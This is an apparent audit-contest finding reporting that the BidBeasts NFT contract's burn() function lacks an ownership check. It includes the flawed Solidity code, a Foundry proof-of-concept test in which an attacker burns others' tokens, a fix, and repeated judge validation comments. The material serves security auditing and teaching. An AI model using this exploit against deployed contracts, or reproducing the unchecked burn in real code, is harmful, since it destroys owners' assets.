Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Anyone Can Burn Any NFT

High: Anyone Can Burn Any NFT

Description

  • The burn() function allows users to burn NFTs to permanently remove them from circulation.

  • The function fails to verify that the caller owns the NFT before burning it, allowing anyone to destroy any token in the collection without permission.

function burn(uint256 _tokenId) public {
_burn(_tokenId); // @> No ownership check - anyone can burn any NFT!
emit BidBeastsBurn(msg.sender, _tokenId);
}

Risk

Likelihood:

  • Can be exploited immediately by any malicious actor

  • Affects every NFT in the entire collection

Impact:

  • Permanent destruction of any NFT in the collection

  • Complete loss of user assets without recourse

  • Breaks marketplace functionality when listed NFTs are burned

  • Destroys trust in the entire NFT project

Proof of Concept

This test demonstrates how any attacker can burn NFTs they don't own, causing permanent loss of valuable assets to legitimate owners.

function test_AnyoneCanBurnAnyNFT() public {
// 1. Setup: Owner mints an NFT
address nftOwner = address(0x1);
address attacker = address(0x2);
vm.prank(owner);
uint256 tokenId = bidBeasts.mint(nftOwner);
// 2. Verify initial ownership
assertEq(bidBeasts.ownerOf(tokenId), nftOwner);
assertEq(bidBeasts.balanceOf(nftOwner), 1);
// 3. Attacker burns the NFT without owning it
vm.prank(attacker);
bidBeasts.burn(tokenId); // No revert - burns successfully!
// 4. NFT is destroyed
vm.expectRevert("ERC721: invalid token ID");
bidBeasts.ownerOf(tokenId); // Token no longer exists
assertEq(bidBeasts.balanceOf(nftOwner), 0); // Owner lost their NFT
// 5. Attacker can systematically destroy the entire collection
vm.startPrank(owner);
uint256[] memory tokenIds = new uint256[](10);
for (uint i = 0; i < 10; i++) {
tokenIds[i] = bidBeasts.mint(nftOwner);
}
vm.stopPrank();
// Attacker burns all NFTs
vm.startPrank(attacker);
for (uint i = 0; i < 10; i++) {
bidBeasts.burn(tokenIds[i]); // Destroys entire collection!
}
vm.stopPrank();
assertEq(bidBeasts.balanceOf(nftOwner), 0); // All NFTs destroyed
}

Recommended Mitigation

Add ownership verification before allowing token burning. The function should only allow the token owner (or approved operators) to burn their own NFTs.

Option 1: Only owner can burn (Recommended)

function burn(uint256 _tokenId) public {
+ require(ownerOf(_tokenId) == msg.sender, "Not token owner");
_burn(_tokenId);
emit BidBeastsBurn(msg.sender, _tokenId);
}

Option 2: Owner or approved can burn

function burn(uint256 _tokenId) public {
+ require(
+ _isApprovedOrOwner(msg.sender, _tokenId),
+ "Not owner or approved"
+ );
_burn(_tokenId);
- emit BidBeastsBurn(msg.sender, _tokenId);
+ emit BidBeastsBurn(ownerOf(_tokenId), _tokenId); // Emit actual owner
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

cryptoghost Lead Judge 21 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeasts ERC721: Anyone Can Burn

In the BidBeasts ERC721 implementation, the burn function is publicly accessible, allowing any external user to burn NFTs they do not own. This exposes all tokens to unauthorized destruction and results in permanent asset loss.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.